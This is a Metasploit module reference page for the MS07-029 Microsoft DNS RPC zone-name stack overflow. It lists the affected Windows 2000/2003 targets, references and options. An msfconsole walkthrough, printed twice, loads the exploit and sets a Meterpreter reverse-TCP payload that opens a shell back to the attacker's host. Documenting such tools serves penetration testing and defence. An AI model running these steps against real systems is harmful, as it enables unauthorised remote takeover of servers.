Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)
This module exploits a stack buffer overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered when a long zone name parameter is supplied that contains escaped octal strings. This module is capable of bypassing NX/DEP protection on Windows 2003 SP1/SP2.
Exploit Rank
- Great
Exploit Authors
- hdm < hdm [at] metasploit.com >
- anonymous < anonymous-contributor [at] metasploit.com >
Vulnerability References
- CVE-2007-1748
- OSVDB-34100
- MSB-MS07-029
- http://www.microsoft.com/technet/security/advisory/935964.mspx
Exploit Targets
- 0 - Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2) (default)
- 1 - Windows 2000 Server SP0-SP4+ English
- 2 - Windows 2000 Server SP0-SP4+ Italian
- 3 - Windows 2000 Server SP0-SP4+ French
- 4 - Windows 2003 Server SP0 English
- 5 - Windows 2003 Server SP0 French
- 6 - Windows 2003 Server SP1-SP2 English
- 7 - Windows 2003 Server SP1-SP2 French
- 8 - Windows 2003 Server SP1-SP2 Spanish
- 9 - Windows 2003 Server SP1-SP2 Italian
- 10 - Windows 2003 Server SP1-SP2 German
Exploit Development
Similar Exploit Modules
- exploit/windows/dcerpc/ms03_026_dcom
- exploit/windows/dcerpc/ms05_017_msmq
- exploit/windows/dcerpc/ms07_065_msmq
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > show payloads
msf exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms07_029_msdns_zonename) > set LHOST [MY IP ADDRESS]
msf exploit(ms07_029_msdns_zonename) > set RHOST [TARGET IP]
msf exploit(ms07_029_msdns_zonename) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > show payloads
msf exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms07_029_msdns_zonename) > set LHOST [MY IP ADDRESS]
msf exploit(ms07_029_msdns_zonename) > set RHOST [TARGET IP]
msf exploit(ms07_029_msdns_zonename) > exploit
Exploit Module Options
| Locale | Locale for automatic target (English, French, Italian, ...) (default: English) |
| RHOST | The target address |
| RPORT | The target port (default: 0) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DCERPC::ReadTimeout | The number of seconds to wait for DCERPC responses |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| DCERPC::fake_bind_multi | Use multi-context bind calls |
| DCERPC::fake_bind_multi_append | Set the number of UUIDs to append the target |
| DCERPC::fake_bind_multi_prepend | Set the number of UUIDs to prepend before the target |
| DCERPC::max_frag_size | Set the DCERPC packet fragmentation size |
| DCERPC::smb_pipeio | Use a different delivery method for accessing named pipes (accepted: rw, trans) |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
